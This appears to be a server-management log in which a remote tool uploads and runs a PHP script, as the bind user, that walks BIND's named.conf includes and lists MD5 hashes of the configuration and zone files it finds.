MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 12:35:37: Establishing a connection
2026-04-24 12:35:37: 

PUT: /tmp/pkp187393

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 12:35:38: 

runuser -l bind -s /bin/bash -c '/tmp/pkp187393; rm /tmp/pkp187393'

2026-04-24 12:35:38: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 12:35:39: Establishing a connection
2026-04-24 12:35:39: 

PUT: /tmp/pkp550609

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 12:35:39: 

runuser -l bind -s /bin/bash -c '/tmp/pkp550609; rm /tmp/pkp550609'

2026-04-24 12:35:39: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
